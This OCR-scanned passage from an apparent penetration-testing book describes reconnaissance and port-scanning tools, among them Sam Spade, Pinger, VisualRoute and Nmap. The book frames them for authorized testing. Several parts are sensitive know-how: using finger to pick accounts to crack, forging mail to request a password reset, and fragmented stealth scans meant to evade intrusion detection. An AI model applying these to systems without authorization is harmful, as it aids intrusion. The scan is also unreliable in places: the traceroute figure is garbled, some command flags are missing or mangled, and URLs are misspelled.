apparent by looking at the main screen, you can configure such Traceroute options as
timeouts and so on. Under the Edit menu, select Options and then the Traceroute tab.
shows the Traceroute screen. displays a sample traceroute
using Sam Spade.

Figure 12-23. Sam Spade Traceroute screen
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Figure 12-24. Traceroute output in Sam Spade
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Finger provides information about the users who operate on the server. In order to get any
information from the Finger utility, the finger service needs to be running on the target host.
Normally we do not attempt to finger a host until after we have determined it is likely the
finger service is running. If we learn that port 79 is open on the host during our port scans,
we can be fairly certain that finger is running. Once we learn this information we perform a
finger query against the host. Remember, you need to use a fully qualified domain name

such as farget@targetnetwork.com or the IP address. Finger information can be useful for

selecting accounts to attempt to use to crack a server.

SMTP Verify is a feature of Sam Spade that we do not often use during our testing. The
utility enables you to query a mail server to determine whether an e-mail address is valid.
This can be useful for determining valid e-mail addresses to use for mail forging. If the
SMTP server is vulnerable to mail forging, you could craft an e-mail using SMTP
commands from any user to any other user without authorization. For instance, you could
send an e-mail from a valid user to the help desk requesting a password reset. (More

detailed information on e-mail forging using SMTP can be found in Chapter 9.)

Check Time is a feature that we do not often use during testing.

The View Raw Website utility is also called Browse web in the Tools menu. Using this


mailto:target@targetnetwork.com

function you can view the source for a Web page, similar to the View Source function in
Microsoft Internet Explorer. Viewing the raw HTML can be useful for searching for
passwords, password hints, or Common Gateway Interface (CGI) scripts that may be
exploitable. To use this function, enter the URL or IP address of the Web site in the
Address window and select the View Raw Website button.

We do not find the Keep Alive utility very useful for penetration testing. Keep Alive sends
an HTTP request to a Web site every minute to maintain an active connection.

Ilowing options can be accessed only through the Tools menu, shown in
!12-2

Figure 12-25. Sam Spade Tools menu

Zone Transfer returns all DNS records for the domain. Zone transfers use a lot of system

resources on the name server. While the target would probably not detect this action, it can
be considered an invasive procedure and may border on illegality. Be careful running the
Zone Transfer utility; run it only when legitimately testing systems and only with
authorization from the target. Finally, remember you have to set your options to enable



zone transfers. Select Options from the Edit menu, then on the Advanced tab select Enable
zone transfers.

SMTP Relay check allows you to test a mail server to see whether it will relay e-mail
back to you. You could perform the same test by using raw SMTP over port 25. However,
we find Sam Spade's tool easier and faster. Before you run this test, you need to ensure
you have approval and authorization to perform this test on the SMTP server. In addition,
before you run the test you need to configure your options. Select Options from the Edit
menu and select the Configuration tab. Enter your e-mail address as shown in
. Next, access the Advanced tab and check Enable relay checking as demonstrated
in . We liken this to taking the safety off a gun. This test borders the edge of
legality since you are essentially using the target's mail server without permission.
Therefore, be sure you have permission from a person with authority over the server
before trying this function. Once you have configured your options correctly, select the
SMTP Relay check from the Tools menu. Enter the fully qualified domain name or IP
address of the SMTP server. The tool then attempts to send an e-mail back to you via the

SMTP server you are testing. Eigure 12-28 shows a sample of SMTP relay. If you get an
e-mail back, the test was successful and the server is susceptible to SMTP relaying.
Servers that allow SMTP relaying are susceptible to spam. Spam is bad for two reasons.
First, it can put undo stress on the system resources of the company's mail server.
Second, it can give the perception that the targeted organization sent the mail.

Figure 12-26. Sam Spade Configuration screen
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Figure 12-27. Sam Spade Advanced options screen



Figure 12-28. SMTP Relay output in Sam Spade
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The Scan Addresses utility enables you to perform port scanning against a range of
hosts. To use this feature you must access the Advanced tab (select Options from the Edit
menu) and check the box for Enable active probing. Once this option has been set, you
may select Scan Addresses from the Tools menu. When you select the Scan Addresses
option, a Scan addresses window opens, as shown in . This window has input
windows for the start and end IP addresses as well as six default ports (Reverse DNS,
Mail, Usenet, Web, telnet, and Nameserver). In addition, the Advanced tab allows you to
select additional ports up to 17007. By holding down the CTRL key you can select multiple
ports. The more ports you select, the longer the scan will take.

Figure 12-29. Scan addresses window in Sam Spade
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Crawl website is a nice feature for searching Web sites for useful information. Crawl

website enables you to mirror a Web site to hard disk or network drive and to search the

Web site for passwords, e-mail addresses, and other useful information. To access Crawl

website, select it from the Tools menu. The Crawl website window appears, as displayed in
. In the top box, enter the URL of the target Web site. The Extra seed URLSs
box enables you to enter URLs on the Web site that are not accessible from the URL listed

in the top window. Below this box is an option that enables you to restrict the type of

information to be searched or mirrored. By checking the option, you limit the crawler to
HTML, ASP, and text files. Without this option checked the crawler will attempt to search

and return everything on the site. Next you find the option that enables you to mirror the

site. By mirroring the site, you copy it to a local drive. While this may use a lot of hard disk

space, it can be helpful to have offline copies of Web sites for access when you do not

have Internet access.

Figure 12-30. Sam Spade Crawl website window
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Another option, Search website for, enables you to search for the defaults: Web
addresses, e-mail addresses, images, links, and regular expression keywords. This can be
very useful when searching Web sites for passwords, password hints, or other clues.

Benefits: Sam Spade is an outstanding tool for the discovery phase, and it's freeware.
The SMTP relaying check and Web site crawling features set it apart from other discovery
tools we have seen.

Cons: Some of the more advanced features are difficult to use it you are not familiar with
the tool. Also, the port scanner is sufficient for scanning one or two hosts for a range of
ports. However, for more advanced port scanning, use one of the more robust port

scanners described in [Chapter 13.
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12.4 Rhino9 Pinger

URL: www.nmrc.org/files/snt

Client OS: Windows 9x/NT/2000

Target OS: TCP/IP networks

Classification: Discovery tool—ping sweep

Price: Free

Description: After learning DNS information about an organization and finding domain
names and IP blocks, the next step is to find hosts, or targets, that are active on the target
network. The goal is to find the targets that are up and running on the target network
without being detected. The simplest way to determine whether a host is active on the
network is to ping it. Ping uses ICMP ECHO requests and reply. The pinger sends an
ICMP ECHO request, and the target sends back an ECHO reply unless the border router
or another filtering device is blocking ping or the host has otherwise been configured to not
respond to ICMP requests.

Rhino9 Pinger, often referred to as Pinger, is a fast, efficient ping sweep utility. You can
adjust the number of times Pinger pings the target by entering a number in the Num.
Passes window, but we recommend you leave it at two. The Timeout default of 3,000 ms
should also be sufficient unless you have an unusually slow network, but even then the
higher you increase the timeout, the longer you will be waiting for it to finish. Pinger can
quickly sweep multiple Class C addresses or a single Class B address looking for active
hosts. The disadvantage to being fast is that the tool sometimes misses active hosts. Also,
the tool is a no-frills offering with very little added utility other than the ping sweep. Other
tools such as Sam Spade, NetScanTools, and WS_Ping ProPack provide a similar ping
tool. We like Pinger because it is fast and simple. Everyone has their own preferences, so
use whichever ping tool you want as long as you get good results.

Use: There really is not a lot to explain with this tool; what you see is what you get. Figure

provides a view of the Pinger interface. To use Pinger, input the IP address range
into the From and To boxes at the top of the screen. Leave the timeout at the default

unless you have reason to believe you need to extend the timeout due to network latency


http://www.nmrc.org/files/snt/default.htm

or other problems. Select the number of passes, or pings, you wish the tool to perform. We
recommend staying with two so you draw less attention to yourself. Many intrusion
detection systems and other monitoring tools may be alerted by multiple pings to many
hosts, so be careful if you are trying to remain undetected. Check the Resolve Hosts box if
you wish to obtain the host names in addition to knowing if the system is active. We
recommend resolving the host names. The more information you can collect, the better you
can design your test. Many times host names give away the purpose of the system and
help enable you to quickly select attractive targets. But beware—sometimes a target that is
too good to be true really is; it could be a honey pot. Honey pots are essentially traps put
out on the network to entice hackers. What the hacker doesn't know is the system is really
a trap. All activity is being logged and alerts are being sent to the system administrators.

Figure 12-31. Pinger user interface
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Benefits: Pinger is easy to use and install. It requires very little configuration. We've
found it to be one of the fastest Ping tools we have used. You can't beat it for the price
(free).
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12.5 VisualRoute

URL: www.visualroute.comn
Client OS: Windows 9x/NT

Target OS: TCP/IP networks

Classification: Discovery tool

Price: Under $50

Description: VisualRoute is an excellent tool for performing traceroutes, and it provides
nice graphical pictures displaying each hop on a world map. It runs on Windows NT and
Windows 9x. We normally use VisualRoute to perform traceroutes to each target host.
Using the output from the traceroutes we can build a preliminary network map. Many times
the network maps we generate are as accurate as the client's. Additionally, VisualRoute
can identify the distance, hops, and time to a target system. While the map really doesn't
add much value, it is pretty neat. By clicking on a section of the map you can zoom in on
that area in greater detail. Node information is displayed in a chart format providing the fully
gualified domain name, location, and host network. This information is useful for keeping
track of where each packet goes and where the route changes as the packet enters the
target network. The trace results can help you identify firewalls, routers, and other systems.
You can attempt to determine whether two systems are on the same network segment or
separated by a router. This information becomes handy when you move into the exploit
phases. Even if you know your network topology well, performing traceroutes can be an
eye-opening experience. Look at the output from the point of view of an outsider and try to
determine what information you can learn from this tool. Using this technique, you can
begin to learn where the greatest risk lies on your network and how to start addressing that
risk.

As an added bonus, VisualRoute can identify the software and version of a Web server.

VisualRoute connects the target server on port 80 and identifies the software that hosts the
Web site. You can use this information to tailor your test to the particular type and version
of the Web server software.

Version information is normally displayed by default when loading a Web server. What


http://www.visualroute.com/default.htm

most system administrators do not realize is that you can alter this information to mask the
type and version of the software. The less information you let an outsider know about your
network and host, the safer you are.

Use: VisualRoute is very easy to install and use. Be sure that your Web browser supports
Java; otherwise, you will receive an error message the first time you run VisualRoute,
prompting you to load a Java machine. The installation is relatively easy. Just launch the
self-extracting installation file and follow the instructions. Once the tool has been installed
and you have a compatible browser, you are ready to begin. Start by entering the target
host name, URL, or IP address in the Host/URL box. Next, click on the green arrow to
launch the traceroute. The tool then launches the traceroute and begins returning
information as it attempts to finish the trace.

VisualRoute does offer some interesting options. First under the Options menu is Scan
Network. Be careful using this option since it could alert intrusion detection sensors or
could be perceived as a ping attack. With Scan Network selected, if the tool is unable to
reach the destination you have selected, it will attempt to ping one address higher and one
lower until it finds an active host or reaches the end of the address range. This helps you

determine whether the host you selected was unreachable or whether the entire network
was unreachable. provides a sample traceroute using VisualRoute.

Figure 12-32. Sample traceroute with VisualRoute

y POy Report for www.klevinsky.com [208.0.48,89] gfﬂl
i leninsky. oo BB Mo s ode www, Klevinsky, corm was found in 16 hops (TTL=115), 115 @ HTTF server frunning
i 2| || Wieros of-11S04.00
Emrn
Hop |Em |IP Addngss Mode Ma [Lacalion mE Gragh bk _'
l 0 0% by 2-525|(" o HEE| Diplink LLG
I 1 M LS |phille-har K 151 151 Siplink LLG
2 I 1126 |- | I 1 163 Fiplink LLC
i 3 0B 19690965 |baryd- 305 et sz t Ziplink LLC
i IE15185.214 |- Loveiall, WM& 01851 174 Zplink LLC
g 137391359089 |Hs=13-0-1|Boston, WA, W38s 165 : LIAHET Technologies, Ing
i 146 18R TE I3 123 AT (Biosion, Ma_ LUSA (163 LILHET PIPEX
7 T4E 18R UTSAT 191 ATl | M vark, BT, LIS.-I i7g LILMET PIFEX
a 14EAEE 7T 195 190 AT | Mew vork, BY, LISA176 LIBHET PIFEX
g 1 1373823146 Falr 522037 |669 | IMET Technologies, Ind
10 1442325225 | skl 1-r| e Yark, MY, LISA 401 *E'J Sprirtinited Informahon
11 2144 23218 65 |skbol d-p|Pannsauken, B, US16 Sprirdiailed Infarmalian
e klevinskas com 12 1442325223 |sk-b01 2-f|Pennsauken, M), 15045 Spuinthailed Infarmation
13 |3 |144.222530 gl- w2 3| Penmsauken, B, 1489 Sprintfaited Information
4 [2 1 166 |sl-nezote] |- 437 -t Spair
15 (o _||_
16 Pl SR it it 14114649 HEEP S Cammunicalion:
e _""'1 _.-""-\.- C —
o ETERTE N R
i et T R ST
"'.F-_‘-&'LA =i ey S oy -_-_:I"
LF—};‘E“;& -:. r.-F
1 l?| Lant -fﬂ.ﬂ'ﬂ” 2 '-:..;:-E _':II
al | 3

¥

MEWA = VisualFoute & b = dick here {or upgrade infornation|




Benefits: VisualRoute is an outstanding traceroute tool. It provides more information than
a normal command line traceroute utility. The added information enables you to build a
better picture of the network to aid in future testing phases. The GUI is excellent, making
the tool fun to use in addition to its good functionality. The tool enables you to save the
output as a text or JPEG file, which is nice for reporting and analysis.

Con: The tool is not free. Fortunately, it is relatively inexpensive for a single user license

(under $50). A 30-day trial version is available at www.visualroute.con.
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12.6 Nmap

URL: vvww.insecure.orq/nma_d

Client OS: UNIX, Windows NT (ported by eEye Digital Security)

Target OS: TCP/IP networks

Classification: Discovery tool

Price: Free

Description: While Nmap is a most powerful port scanner, it can also serve as a more

sophisticated ping sweep utility. In this chapter, we discuss only Nmap's ping capability. In
Chaéter 13 we delve into the details of Nmap's utility as a robust port scanner.

If the target network is blocking ICMP ECHO requests and replies, Pinger and other
normal ping utilities will not be able to identify any active systems. Additionally, the target
network may have the most crucial systems configured to not respond to ICMP ping but
may allow some nonessential systems to respond to ICMP ping to trick attackers. By
finding some interesting hosts that respond to ping, the attacker may not think to use a
more sophisticated ping tool to identify hosts not responding to ICMP ping. Nmap provides
the capability to perform TCP pings on TCP ports rather than the usual ICMP that everyone
associates with ping. Nmap sends a TCP ACK or SYN packet to the specified port in
hopes that the target will send an RST packet indicating it is up. By pinging the hosts on a
TCP port or using a different source port, you may be able to identify hosts that have
restricted ICMP ECHO replies but are still alive on the network. Additionally, Nmap has a
detection function that enables it to guess the operating system of the target through
analysis of the TCP/IP sequence.

Nmap is a powerful, stealthy tool. If used properly it can provide excellent results while
enabling you to remain undetected on the target network. Nmap can be difficult to use if
you are not familiar with UNIX. This tool gives you an excellent reason to learn enough
about UNIX to get by so you can take advantage of all the features of this tool. There is a
GUI version of the tool called NmapFE. NmapFE does not offer all the options the
command line Nmap offers, but it is easy to use.


http://www.insecure.org/nmap/default.htm

Use: Nmap operates on Linux and a host of other UNIX-flavored operating systems and
requires a command line interface, unless you are using NmapFE. Nmap has also been
ported to Windows NT by eEye Digital Security, but we have had problems getting it to
work properly and prefer the Linux version. Nmap has several options for scanning
networks, but in this chapter we cover only those options that pertain to TCP pings and OS
identification. Whether or not you find active hosts on the network, TCP pings should be
performed to find those hosts that may not be responding to ICMP pings. TCP pings use
TCP ACK or SYN packets to elicit an RST from the target. Nmap provides a TCP ping
utility using the option. For root users, sends both ICMP and TCP ACK. You can
specify TCP ACK packets by using the option or SYN packets using . Nmap sends
these packets to port 80 by default, but you may need to vary the port to find one that is not
filtered by the target. Normally ports 80, 53, and 443 are good ports to try.

The following command performs a TCP ping by sending a TCP ACK packet to the target
IP address on port 53:

Another option Nmap provides is OS identification. Knowing the operating system is a
critical piece of information during penetration testing. When you use the -O option in
Nmap, the tool attempts to guess the operating system of the target through TCP/IP
fingerprinting. Nmap performs a number of tests against the system being scanned and
compares the profile of the target's TCP stack against a database of known fingerprints.
The following command performs OS identification in addition to a port scan:

Benefits: Nmap is a powerful tool that is considered one of the best port scanners in the
industry. It offers many different options and the output is very reliable.

Con: The tool can be difficult to use and install if you are not familiar with UNIX.
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12.7 What's running

URL: vvww.wooglstone.nu/whatgl

Client OS: Windows 9x/NT
Target OS: IP systems
Classification: Discovery tool
Price: Free

Description: What's running is a banner-grabbing program that runs on Windows 9x/NT.
Once you have identified services that are running through the use of port scanners, you
can use this program to determine what versions of the services are running. By knowing
the versions of the services, you can search for vulnerabilities related to those specific
versions and tailor your attacks on those services.

Use: What's running is simple to install and use. Simply launch What's running and use
the GUI. Enter the host name or IP address in the appropriate window and select the
service to which you wish to connect. The option titled Other can be used to test services
that are not listed simply by typing the port number in the window. Once the program
connects to the service, What's running displays the service and version information in the
output window if any information is available.

Benefits: What's running is free and simple to use. It captures banner information that
contains software version information that can be used to develop specific attacks against
services.

Con: The tool does not offer any utility other than banner grabbing.

| l@ve RuBoard
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Chapter 13. Port Scanners

After gathering preliminary information about the target and identifying potential systems
that are alive, you need to determine what services the targets are running. One way to
identify services is to scan the hosts with a port scanner. The port scanner looks for open
service ports on the target. Each port is associated with a service that may be exploitable
or contain vulnerabilities. Port scanners can be used “surgically” to scan for specific ports
or they can be used to scan every port on each host. The more surgical you can be in your
scans, the better your chances of avoiding detection. However, a complete port scan
should be performed toward the end of the engagement to identify ports that may have
been missed. Below we discuss some of the more popular port scanners and describe how
to use them.

| |@ve RuBoard




| l@ve RuBoard

13.1 Nmap

URL: www.insecure.org/nmad ‘vvww.eEye.com/htmI/Research/TooIs/nmapnt.html for
Windows NT)

Client OS: Linux, UNIX, Windows NT
Target OS: TCP/IP networks

Price: Free

Description: In Chaéter 13 we discussed Nmap's use in performing TCP pings and OS
identification. In this chapter, we discuss Nmap's abilities as a port scanner. Nmap is one of
the most advanced port scanners in the industry. It offers more features and options than
we have seen in any other port scanner. Nmap provides options for stealth scanning, using
decoys, spoofing, fragmentation, and many other features.

Nmap operates primarily on UNIX platforms. Nmap has been ported to Windows NT by
eEye Digital Security, but not all the functionality was carried over and it can be difficult to
get working properly. On UNIX systems, Nmap can be difficult to load and operate if you
are not familiar with the UNIX operating environment. To load Nmap, either you can use
the RPM version (Red Hat Linux) or the binary, or you can compile it from the source code.
As with any tool you obtain from the Internet, we recommend you compile the source code
yourself. If you compile the tool on the platform it will be used on it will normally perform
better. When you compile the tool yourself you will have an opportunity to examine the
source code for Trojan horses and other back doors.

There is a GUI for interfacing with Nmap called Nmapfe (front end). Nmapfe does not offer
all the options the command line version offers, but it is easy to use and it provides the
syntax for the commands you would have to issue manually to achieve the same results.
The visual tool provides an excellent way to become familiar with Nmap's syntax, so you
can move onto the command line version to take full advantage of all the tool's options.

Use: One of Nmap's most valuable features is the ability to perform stealth scans. Most
port scanners make full TCP connections to the target system. These types of scans can
be easily detected by the target network or host. Stealth scans use only a portion of a TCP
connection, such as the SYN or FIN packets, and do not make a complete TCP
connection. A complete TCP connection involves the sender sending a SYN, the receiver


http://www.insecure.org/nmap
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sending a SYN-ACK, and the sender replying with an ACK. This is commonly referred to
as the three-way handshake. Many times when a stealth scan is used the host and target
network do not realize the system was scanned because a full TCP connection never
occurred. Stealth scans may help avoid detection by some intrusion detection systems
(IDSs). In fact, many times we test IDSs by using Nmap's stealth scan utility with other
options such as fragmentation to see if the sensor can detect the activity. Most of the
newer IDSs are able to detect stealth scans, so don't think that using the stealth scan
option alone will keep you from being detected. By adding fragmentation (- option) the
scanner fragments the packets it sends during the port scan. By fragmenting the packets,
you may avoid detection by some IDSs. An IDS looks for specific patterns in the network
traffic. By fragmenting the scan, the network traffic pattern may not be recognized by the
IDS or by a system administrator reviewing system logs. In addition to bypassing IDSs,
fragmentation can be very useful when testing IDSs. A robust IDS should be able to detect
a fragmented Nmap stealth scan (Nmap with —sS and —f options...). If your company has
an IDS, try running an Nmap stealth scan with fragmentation to test its effectiveness. The
downside to these stealth scans is that the results are less reliable since a full connection
to the port was never made. Stealth scans are very useful when trying to remain
undetected during testing, but keep in mind that the results could be inaccurate. Some
ports reported as open may actually be closed and vice versa.

presents a sample of help output from Nmap showing many of the options

available. Nmap has several options for scanning networks: normal TCP port scan (-sT),
TCP SYN stealth scan (-sS), stealth FIN scans (-sF), and UDP port scans (-sU).

Figure 13-1. Help output from Nmap
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Normally, we begin our Nmap port scans with a SYN stealth scan looking for selected ports
and using OS identification option. By using the stealth scan feature and confining our scan
to a few choice ports, we obtain valuable information while significantly improving the
chances of remaining undetected. We begin by scanning for ports that support services
that we know provide valuable information or that we may be able to exploit. We have
developed a list of some of these ports (see ). You should add and delete ports
from this list based on what you find to be successful and the type of systems you are



targeting.

The syntax for this stealth scan can be confusing at first. Here is the command you could
use to execute the SYN stealth scan we just described (remember, UNIX is case
sensitive):

#nmap —sS -O -P0 —f —p 7,9,13,21,25,135-139,5800,etc. —v —0
outputfile.txt 10.10.10.10-10.10.10.100



Table 13-1. Sample Ports to Scan

Port Service
7 Echo
9 Discard
13 Daytime
19 Character generator
21 FTP
22 SSH
23 telnet
25 SMTP
37 Time
42 Wins hostname server
53 DNS
69 TFTP
79 Finger
80 HTTP
110 POP
111 SUN RPC
135-139 NT services NetBIOS
143 IMAP
161-162 SNMP
256-258 Check Point Firewall
443 SSL
512-515 r services
2049 NFS
2301 Compaq
5800 VNC
5900 VNC
6000-6023 X Windows
12345 Netbus
32760-32785 RPC services
65301 pcAnywhere

There are several options included in this command. -sS specifies a SYN stealth scan. -O
enables OS identification. -P0 indicates that Nmap should not attempt to ping the target.
-P0 is a very important option; if this option is not used, Nmap will attempt to ping the
target, and if the target does not respond to ping, Nmap will not scan it. Therefore, if you



want to scan only hosts that respond to ping do not use -P0, but be aware that you may
miss hosts that have disabled or filtered ping. Using -P0O will enable you to scan hosts that
do not respond to ping. The scan will take longe